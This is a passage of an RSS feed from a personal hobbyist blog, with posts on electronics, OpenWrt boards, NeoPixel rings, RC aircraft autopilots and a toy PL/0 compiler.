      <description>&lt;p&gt;I’ve released a toy compiler for the PL/0 educational language at &lt;a href=&#34;https://juju.net.nz/src/cgit.cgi/pl0.git/&#34;&gt;https://juju.net.nz/src/cgit.cgi/pl0.git/&lt;/a&gt; or &lt;a href=&#34;https://github.com/nzmichaelh/pl0&#34;&gt;https://github.com/nzmichaelh/pl0&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I did this as, despite working with compilers for a fair part of my life, I’d never written one from scratch. I chose PL/0 as it was designed by a local legend, Niklaus Wirth, who is also the creator of Pascal and Modula-2.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Maker Faire Bodensee</title>
      <link>https://juju.nz/michaelh/2016/06/maker-faire-bodensee/</link>
      <pubDate>Sun, 26 Jun 2016 10:15:44 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2016/06/maker-faire-bodensee/</guid>
      <description>&lt;p&gt;We went to 
&lt;a href=&#34;http://www.makerfairebodensee.com/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Maker Faire Bodensee&lt;/a&gt; on the weekend. The kids spent so much time with Paula Pongratz’s 
&lt;a href=&#34;https://p0stap0calyptic.wordpress.com/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Post-apocalyptic jewlery&lt;/a&gt; that they missed most of the rest (heh).&lt;/p&gt;
&lt;p&gt;Other standouts were the breadboard / pus pin based electronic organ from [&lt;/p&gt;
&lt;p&gt;Elektronikmuseum Tettnang]
&lt;a href=&#34;http://www.emuseum-tettnang.de&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;3&lt;/a&gt; and the marshmallow building challenge by Toolbox BODENSEE. I also want to have a look into the 
&lt;a href=&#34;http://www.makerfairebodensee.com/mw-de/messeinformationen/tagesprogramm.php?lid=87&amp;amp;sMode=detail&amp;amp;id=154&amp;amp;lg=de&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Minecraft smart-home&lt;/a&gt;, 
&lt;a href=&#34;http://nodebots.ch&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Nodebots&lt;/a&gt;, and Freifunk.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Sending music over light</title>
      <link>https://juju.nz/michaelh/2016/04/sending-music-over-light/</link>
      <pubDate>Sun, 17 Apr 2016 15:20:43 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2016/04/sending-music-over-light/</guid>
      <description>&lt;p&gt;Someone recently mentioned that you can ‘hear’ a TV remote control by hooking a solar panel to a speaker and pointing the remote at it. It was a rainy weekend this weekend, so my son and I gave it a go:&lt;/p&gt;
&lt;div style=&#34;width: 640px; &#34; class=&#34;wp-video&#34;&gt;
  &lt;video class=&#34;wp-video-shortcode&#34; id=&#34;video-327-7&#34; width=&#34;640&#34; height=&#34;361&#34; preload=&#34;metadata&#34; controls=&#34;controls&#34;&gt;&lt;source type=&#34;video/mp4&#34; src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/04/VID-20160417-162947-3.m4v?_=7&#34; /&gt;&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/04/VID-20160417-162947-3.m4v&#34;&gt;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/04/VID-20160417-162947-3.m4v&lt;/a&gt;&lt;/video&gt;
&lt;/div&gt;
&lt;p&gt;The circuit is simple: a solar panel from a toy, a ~1 Hz RC highpass filter to get rid of the DC component, and an amplified speaker for the output. The noise is the code that the remote is sending to the TV which is roughly 700 Hz for one remote and 400 Hz for the other.&lt;/p&gt;
&lt;p&gt;The next step is to see if you can send music over light. With a bit more circuitry, you can:&lt;/p&gt;
&lt;div style=&#34;width: 640px; &#34; class=&#34;wp-video&#34;&gt;
  &lt;video class=&#34;wp-video-shortcode&#34; id=&#34;video-327-8&#34; width=&#34;640&#34; height=&#34;361&#34; preload=&#34;metadata&#34; controls=&#34;controls&#34;&gt;&lt;source type=&#34;video/mp4&#34; src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/04/Sending-music-over-light-1.m4v?_=8&#34; /&gt;&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/04/Sending-music-over-light-1.m4v&#34;&gt;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/04/Sending-music-over-light-1.m4v&lt;/a&gt;&lt;/video&gt;
&lt;/div&gt;
&lt;p&gt;I used a LM386 to bias the LED to be normally on. The bias is set by a potentiometer on one of the differential inputs with the MP3 player on the other. Setting the bias too high or too low causes clipping due to the LED turning off or the amplifier hitting the 5 V supply rail. It sounds really good – well, at least as the small speaker lets it.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Web connected NeoPixel ring</title>
      <link>https://juju.nz/michaelh/2016/02/web-connected-neopixel-ring/</link>
      <pubDate>Sun, 07 Feb 2016 16:04:36 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2016/02/web-connected-neopixel-ring/</guid>
      <description>&lt;p&gt;It’s taken a while (as you can tell from the date on the box), but here’s my web connected NeoPixel ring:&lt;/p&gt;
&lt;div style=&#34;width: 640px; &#34; class=&#34;wp-video&#34;&gt;
  &lt;video class=&#34;wp-video-shortcode&#34; id=&#34;video-319-5&#34; width=&#34;640&#34; height=&#34;360&#34; preload=&#34;metadata&#34; controls=&#34;controls&#34;&gt;&lt;source type=&#34;video/mp4&#34; src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/Vid-20160207-165253-1.m4v?_=5&#34; /&gt;&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/Vid-20160207-165253-1.m4v&#34;&gt;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/Vid-20160207-165253-1.m4v&lt;/a&gt;&lt;/video&gt;
&lt;/div&gt;
&lt;p&gt;Chroma trail: a comet with a trail that cycles through the colours of the rainbow.&lt;/p&gt;
&lt;p&gt;I had to turn the brightness down so the camera didn’t saturate, as you can see in the next one:&lt;/p&gt;
&lt;div style=&#34;width: 640px; &#34; class=&#34;wp-video&#34;&gt;
  &lt;video class=&#34;wp-video-shortcode&#34; id=&#34;video-319-6&#34; width=&#34;640&#34; height=&#34;360&#34; preload=&#34;metadata&#34; controls=&#34;controls&#34;&gt;&lt;source type=&#34;video/mp4&#34; src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/raindrops.mp4?_=6&#34; /&gt;&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/raindrops.mp4&#34;&gt;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/raindrops.mp4&lt;/a&gt;&lt;/video&gt;
&lt;/div&gt;
&lt;p&gt;Raindrops: randomly coloured drops that fade away.&lt;/p&gt;
&lt;p&gt;This is a WRTnode board running a Python server. The patterns are loadable Python code. For a limited time, the server is available 
&lt;a href=&#34;http://i.juju.net.nz:8080/pattern&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;here&lt;/a&gt;. Try 
&lt;a href=&#34;http://i.juju.net.nz:8080/pattern&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;/pattern&lt;/a&gt; for a list, and 
&lt;a href=&#34;http://i.juju.net.nz:8080/pattern/chroma_spin.py/run&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;/pattern/name/run&lt;/a&gt; to run one.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Fading text on an OLED screen</title>
      <link>https://juju.nz/michaelh/2016/02/fading-text-on-an-oled-screen/</link>
      <pubDate>Thu, 04 Feb 2016 21:18:10 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2016/02/fading-text-on-an-oled-screen/</guid>
      <description>&lt;p&gt;Here’s my hack of the moment: text fading in on a 
&lt;a href=&#34;https://www.olimex.com/Products/Modules/LCD/MOD-OLED-128x64/open-source-hardware&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;OLIMEX 128×64 OLED display&lt;/a&gt;. The interesting bit is that this is a TTF font which is rendered by 
&lt;a href=&#34;http://libsdl.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;SDL2&lt;/a&gt; into a buffer, dithered into black and white using 
&lt;a href=&#34;https://en.wikipedia.org/wiki/Floyd%E2%80%93Steinberg_dithering&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Floyd-Steinberg error diffusion&lt;/a&gt;, and then written out using the 
&lt;a href=&#34;http://iotdk.intel.com/docs/master/upm/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Intel IoT upm&lt;/a&gt; display driver. Optimizing the bulk write routine got the frame rate up from ~4 FPS to ~15 FPS.&lt;/p&gt;
&lt;div style=&#34;width: 640px; &#34; class=&#34;wp-video&#34;&gt;
  &lt;video class=&#34;wp-video-shortcode&#34; id=&#34;video-315-4&#34; width=&#34;640&#34; height=&#34;360&#34; preload=&#34;metadata&#34; controls=&#34;controls&#34;&gt;&lt;source type=&#34;video/mp4&#34; src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/oled.mp4?_=4&#34; /&gt;&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/oled.mp4&#34;&gt;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/oled.mp4&lt;/a&gt;&lt;/video&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>Adding buttons on the Linkit Smart</title>
      <link>https://juju.nz/michaelh/2016/01/adding-buttons-on-the-linkit-smart/</link>
      <pubDate>Sun, 10 Jan 2016 20:25:58 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2016/01/adding-buttons-on-the-linkit-smart/</guid>
      <description>&lt;p&gt;Here’s what I found out while trying to add buttons to the OpenWrt based 
&lt;a href=&#34;http://www.seeedstudio.com/depot/LinkIt-Smart-7688-p-2573.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Linkit Smart&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The flow is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Keys are defined in 
&lt;a href=&#34;https://github.com/openwrt/openwrt/blob/chaos_calmer/target/linux/ramips/dts/LINKIT7688.dts&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;code&gt;target/linux/ramips/dts/LINKIT7688.dts&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;a href=&#34;https://github.com/openwrt/openwrt/blob/master/package/kernel/gpio-button-hotplug/src/gpio-button-hotplug.c&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;code&gt;gpio-button-hotplug&lt;/code&gt;&lt;/a&gt; emulates &lt;code&gt;gpio-keys-polled&lt;/code&gt; and generates uevents.
&lt;ul&gt;
&lt;li&gt;The uevent is received onver netlink by procd in 
&lt;a href=&#34;http://git.openwrt.org/?p=project/procd.git;a=blob;f=plug/hotplug.c&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;code&gt;plug/hotplug.c&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The event is dispatched via 
&lt;a href=&#34;https://github.com/openwrt/openwrt/blob/master/package/system/procd/files/hotplug.json&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;code&gt;/etc/hotplug.json&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The standard dispatch rule calls &lt;code&gt;/etc/rc.buttons/$BUTTON&lt;/code&gt; &lt;/ul&gt;
The DTS fragment is:&lt;/p&gt;
&lt;pre&gt;gpio-keys-polled {
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;hellip;
btn2 {
label = &amp;ldquo;btn2&amp;rdquo;;
gpios = &amp;lt;�gpio0 2 1&amp;gt;;
linux,code = &amp;lt;0x102&amp;gt;;
};
&lt;/pre&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;where the `&amp;lt;&amp;amp;#038;gpio0 2 1&amp;gt;` picks the second pin from the zeroth port i.e. GPIO 2 and

maps it to BTN_2. See [`uapi/linux/input.h`][6] for the other key codes.
                
gpio-button-hotplug supports a limited number of keys. See the source for the

current list, which is `BTN_0` to `BTN_9`, `power`, `reset`, `rfkill`, `wps`, and `wwan`.
                
Also, the LinkIt uses a binary wifi driver which seems to be _very_ sensitive to

the kernel version. I ended up reverting [`363508bcabd8e9205f5fffc8ff282439e61d618f`][7]

to bring OpenWrt back to 3.18.21 to stop it crashing when the interface comes up.
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Hack of the day: scrolling text</title>
      <link>https://juju.nz/michaelh/2016/01/hack-of-the-day-scrolling-text/</link>
      <pubDate>Sun, 03 Jan 2016 19:04:36 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2016/01/hack-of-the-day-scrolling-text/</guid>
      <description>&lt;p&gt;I did a quick hack today and wrote a scrolling text app for an 
&lt;a href=&#34;https://www.adafruit.com/products/872&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Adafruit 8×8 LED display&lt;/a&gt; I had lying about:&lt;/p&gt;
&lt;div style=&#34;width: 640px; &#34; class=&#34;wp-video&#34;&gt;
  &lt;video class=&#34;wp-video-shortcode&#34; id=&#34;video-302-3&#34; width=&#34;640&#34; height=&#34;360&#34; preload=&#34;metadata&#34; controls=&#34;controls&#34;&gt;&lt;source type=&#34;video/mp4&#34; src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/01/udisplay-with-scrolling-text.mp4?_=3&#34; /&gt;&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/01/udisplay-with-scrolling-text.mp4&#34;&gt;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/01/udisplay-with-scrolling-text.mp4&lt;/a&gt;&lt;/video&gt;
&lt;/div&gt;
&lt;p&gt;The app is written in C++ using the Intel 
&lt;a href=&#34;https://github.com/intel-iot-devkit/mraa&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;code&gt;mraa&lt;/code&gt;&lt;/a&gt; I/O library (which looks pretty good) and running on a 
&lt;a href=&#34;http://wrtnode.cc/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;WRTNODE&lt;/a&gt; MIPS dev board with OpenWrt. The interesting bit is the text rendering: I started with a 
&lt;a href=&#34;https://github.com/idispatch/raster-fonts/blob/master/font-6x8.c&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;6×8&lt;/a&gt; bitmap font then added automatic width detection, blitting for rendering to the buffer, and blitting for rendering a scrolling window on the buffer to the display.&lt;/p&gt;
&lt;p&gt;The next step is to add a web app so you can post messages from the Internet. What could go wrong?&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>The Boost libraries</title>
      <link>https://juju.nz/michaelh/2016/01/the-boost-libraries/</link>
      <pubDate>Fri, 01 Jan 2016 21:11:01 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2016/01/the-boost-libraries/</guid>
      <description>&lt;p&gt;I’ve been hacking on a personal project to make it easier to expose HTTP based devices that are behind a restrictive NAT or firewall. The code needs to run on a 
&lt;a href=&#34;http://openwrt.org&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;OpenWrt&lt;/a&gt; based 
&lt;a href=&#34;http://wrtnode.cc/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;MIPS board&lt;/a&gt;
&lt;a href=&#34;http://openwrt.org&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;1&lt;/a&gt; which limits my language choice – Python3 is out as it’s too big, and Go on MIPS32 via gccgo on OpenWrt is… tricky
&lt;a href=&#34;http://wrtnode.cc/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;2&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I ended up writing the app in C++ and I’ve been quite impressed with C++14 and the 
&lt;a href=&#34;http://www.boost.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Boost libraries&lt;/a&gt;. Especially:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;boost::optional&lt;/code&gt; for covering the optional results without having to use tricks like err == -1 or result == nullptr.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;boost::algorithm::string&lt;/code&gt; for string splitting and trimming.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;boost::asio&lt;/code&gt; for all of your event or blocking based network programming needs.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;boost::program_options&lt;/code&gt; for command line option parsing and validation.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;boost::asio::coroutine&lt;/code&gt; for a very readable implementation of Duff device based coroutines.
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;std::unique_ptr / std::shared_ptr&lt;/code&gt; for sane memory management. &lt;/ul&gt;
Generous use of &lt;code&gt;auto&lt;/code&gt;, &lt;code&gt;lambdas&lt;/code&gt;, and &lt;code&gt;using&lt;/code&gt; keep the code reasonably terse as well.&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;http://openwrt.org&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;1&lt;/a&gt; I also have two of the $12.90 LinkIt Smart 7688 boards on their way. A good price for a 580 MHz Linux CPU on a DIP carrier with Wifi, RAM, and 32 MiB of flash.&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;http://wrtnode.cc/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;2&lt;/a&gt; gccgo enables libffi, which assumes floating point registers, but the OpenWrt kernel turns off FP emulation by default and enforces it through binutils flags.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Serial to NeoPixel bridge</title>
      <link>https://juju.nz/michaelh/2015/10/serial-to-neopixel-bridge/</link>
      <pubDate>Sun, 25 Oct 2015 20:55:15 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2015/10/serial-to-neopixel-bridge/</guid>
      <description>&lt;p&gt;I’m hacking on a project to hook a 
&lt;a href=&#34;https://learn.adafruit.com/adafruit-neopixel-uberguide/overview&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;NeoPixel&lt;/a&gt; ring up to the internet. I don’t have a good reason why, but it’s a good excuse to work with OpenWrt, TURN servers, and some blinking lights.&lt;/p&gt;
&lt;p&gt;NeoPixels are fairly hard to drive as they use a single wire, 800 kHz, non-return-to-zero protocol which needs precise timing. I decided to push the problem off into a&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://www.olimex.com/Products/Duino/AVR/OLIMEXINO-85-ASM/open-source-hardware&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Olimex ATTINY85&lt;/a&gt; board that takes serial data on one side and updates the ring on the other.&lt;/p&gt;
&lt;p&gt;Here’s a video of a two chasers with a little bit of tail blur. The main loop is written in Python, which renders the chasers and writes them out at 57600 baud:&lt;/p&gt;
&lt;div style=&#34;width: 640px; &#34; class=&#34;wp-video&#34;&gt;
  &lt;video class=&#34;wp-video-shortcode&#34; id=&#34;video-288-2&#34; width=&#34;640&#34; height=&#34;427&#34; preload=&#34;metadata&#34; controls=&#34;controls&#34;&gt;&lt;source type=&#34;video/mp4&#34; src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/10/VID_20151025_212428.mp4?_=2&#34; /&gt;&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/10/VID_20151025_212428.mp4&#34;&gt;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/10/VID_20151025_212428.mp4&lt;/a&gt;&lt;/video&gt;
&lt;/div&gt;
&lt;p&gt;Next step is to get approval to release the source code.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Z-84 flying wing</title>
      <link>https://juju.nz/michaelh/post/2015/10/z84/</link>
      <pubDate>Sat, 03 Oct 2015 15:49:55 +0000</pubDate>
      <guid>https://juju.nz/michaelh/post/2015/10/z84/</guid>
      <description>&lt;p&gt;Hobbyking had a free shipping promotion recently, so I picked up a 
&lt;a href=&#34;http://www.hobbyking.com/hobbyking/store/__25664__Wing_Wing_Z_84_EPO_845mm_PNF_.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Wing Wing Z-84 flying wing&lt;/a&gt; like 
&lt;a href=&#34;https://pixhawk.org/platforms/planes/z-84_wing_wing&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;all the cool kids have&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;IMG_20151003_171416.jpg&#34; alt=&#34;Z-84 flying wing&#34;&gt;&lt;/p&gt;
&lt;p&gt;It’s quite fun if a bit noisy. The 1500 mAh 2S batter lasts 15 minutes, which is crazy long, and it’s quite interesting how a pusher propeller changes climbs and loops – you need momentum as there’s no propeller to caster under.&lt;/p&gt;
&lt;p&gt;Next step is to change the motor controller for the one that the PX4 team recommends and have a look for a quieter prop.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>No luck on flying</title>
      <link>https://juju.nz/michaelh/2015/08/no-luck-on-flying/</link>
      <pubDate>Sun, 30 Aug 2015 11:09:30 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2015/08/no-luck-on-flying/</guid>
      <description>&lt;p&gt;Looks like the plane is too heavy. It took off OK on the first try, but I couldn’t get it to lift on five goes past that. The first flight was probably due to the little bit of extra voltage a freshly charged battery has.&lt;/p&gt;
&lt;p&gt;I did some measurements and the plane with autopilot is 1130 g, which is 255 g / 30 % higher than the design flying weight of 875 g. 110 g of that is in the MDF plate and 50 g is in my usual higher capacity batteries.&lt;/p&gt;
&lt;p&gt;Next step is to redo the plate in polystyrene. I’m tempted to follow Z-8’s 
&lt;a href=&#34;http://www.rcgroups.com/forums/showthread.php?t=1224971&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;instructions&lt;/a&gt; and change the prop to a APC 10×7 E and upgrade the motor to a 
&lt;a href=&#34;http://www3.towerhobbies.com/cgi-bin/wti0001p?&amp;amp;I=LXXGY4&amp;amp;P=8&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Super Tigre .10&lt;/a&gt;. The Super Tigre has a higher constant power (320 W vs 210 W), is a drop in replacement, and as a bonus saves 50 g.&lt;/p&gt;
&lt;p&gt;Edit: annnd I crashed it 🙂 I fitted a 10×7 prop and new receiver and got the elevator direction wrong. The good news is the 10×7 makes the plane leap away. The bad news is it lept away into the ground…&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Trojan&#43;PX4 ready to fly</title>
      <link>https://juju.nz/michaelh/2015/08/trojanpx4-ready-to-fly/</link>
      <pubDate>Fri, 28 Aug 2015 19:06:27 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2015/08/trojanpx4-ready-to-fly/</guid>
      <description>&lt;p&gt;I picked up yet another board to try in my never-complete car autopilot project. This time it’s a Pixhawk 
&lt;a href=&#34;http://px4.io/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;PX4&lt;/a&gt; (from 
&lt;a href=&#34;http://cvg.ethz.ch/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ETH&lt;/a&gt; here in Zurich, woo!) with a FrSky PPM receiver, u-blox GPS, and 433 MHz telemetry mounted on my trusty 
&lt;a href=&#34;http://www.parkzone.com/Products/Default.aspx?ProdID=PKZ4400&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;P-28 Trojan&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/08/IMG_20150828_202952.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/08/IMG_20150828_202952.jpg&#34; alt=&#34;Top view assembled&#34; width=&#34;1714&#34; height=&#34;2285&#34; class=&#34;aligncenter size-full wp-image-275&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/08/IMG_20150828_203032.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/08/IMG_20150828_203032.jpg&#34; alt=&#34;Under view of autopilot&#34; width=&#34;584&#34; height=&#34;779&#34; class=&#34;aligncenter size-large wp-image-276&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Laser cutters are awesome. The baseboard that everything is mounted on was made by taking a basic sketch and measurements, drawing it in Inkscape, then cutting it out of 3 mm MDF (we were out of plywood…) on the laser cutter at work. Fast and accurate.&lt;/p&gt;
&lt;p&gt;I’ll fly it tomorrow. The software has stabalisation, altitude hold, and a waypoint engine. It can also auto takeoff and auto land but that’s not a good idea on the grass without rangefinder.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>New rover board</title>
      <link>https://juju.nz/michaelh/2015/07/nppilot-new-rover-board/</link>
      <pubDate>Sun, 12 Jul 2015 20:17:14 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2015/07/nppilot-new-rover-board/</guid>
      <description>&lt;p&gt;I have this long term, never complete project to make a self driving RC car. I’m making progress on the third reboot and finished up the rover board today:&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/07/IMG_20150712_220612.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/07/IMG_20150712_220612.jpg&#34; alt=&#34;IMG_20150712_220612&#34; width=&#34;2448&#34; height=&#34;2180&#34; class=&#34;aligncenter size-full wp-image-269&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;On the board is a NAZE32 running Cleanflight for the sensors and real time control, a GPS, a Frsky receiver, a Beaglebone Black for logging, and a Adafruit LCD for status.&lt;/p&gt;
&lt;p&gt;The big changes with this reboot is moving the control software to a realtime controller instead of embedded Linux and adding a display and Wifi for a much faster test and debug cycle.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>1.8″ LCD support for the ESP8266</title>
      <link>https://juju.nz/michaelh/2015/05/1-8-lcd-support-for-the-esp8266/</link>
      <pubDate>Sun, 17 May 2015 18:21:14 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2015/05/1-8-lcd-support-for-the-esp8266/</guid>
      <description>&lt;p&gt;I’ve ported the 
&lt;a href=&#34;http://www.adafruit.com/products/358&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Adafruit 1.8″ LCD&lt;/a&gt; 
&lt;a href=&#34;https://github.com/adafruit/Adafruit-ST7735-Library&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;driver&lt;/a&gt; to the new-ish 
&lt;a href=&#34;https://github.com/esp8266/Arduino&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Arduino ESP8266&lt;/a&gt; port and done an optimisation pass. Short story is that the demo that comes with the board is down from 6083 ms to 3424 ms, and big operations like fill screen is down from 1454 ms to 157 ms. Hurray for FIFOs and better bus utilisation!&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/05/IMG_20150517_191847.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/05/IMG_20150517_191847.jpg&#34; alt=&#34;IMG_20150517_191847&#34; width=&#34;2363&#34; height=&#34;2295&#34; class=&#34;aligncenter size-full wp-image-263&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I’m quite impressed with the Arduino port: the group have done a lot of work on the completeness, speed, and in porting the standard libraries like the SD FAT support I plan to use for logging.&lt;/p&gt;
&lt;p&gt;My goal is to restart my self driving RC car project with a 
&lt;a href=&#34;http://www.hobbyking.com/hobbyking/store/__55819__AfroFlight_Naze32_Acro_AbuseMark_FunFly_Controller.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;NAZE32&lt;/a&gt; as the controller board and an 
&lt;a href=&#34;https://olimex.com/Products/Modules/Ethernet/MOD-WIFI-ESP8266-DEV/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ESP8266&lt;/a&gt; as logging, display, and telemetry. Let’s see how far I get this time 🙂&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Pin to native mapping for the Teensy LC</title>
      <link>https://juju.nz/michaelh/2015/05/pin-to-native-mapping-for-the-teensy-lc/</link>
      <pubDate>Sun, 03 May 2015 19:43:56 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2015/05/pin-to-native-mapping-for-the-teensy-lc/</guid>
      <description>&lt;p&gt;I’m hacking on porting 
&lt;a href=&#34;nuttx.org&#34;&gt;NuttX&lt;/a&gt; to the 
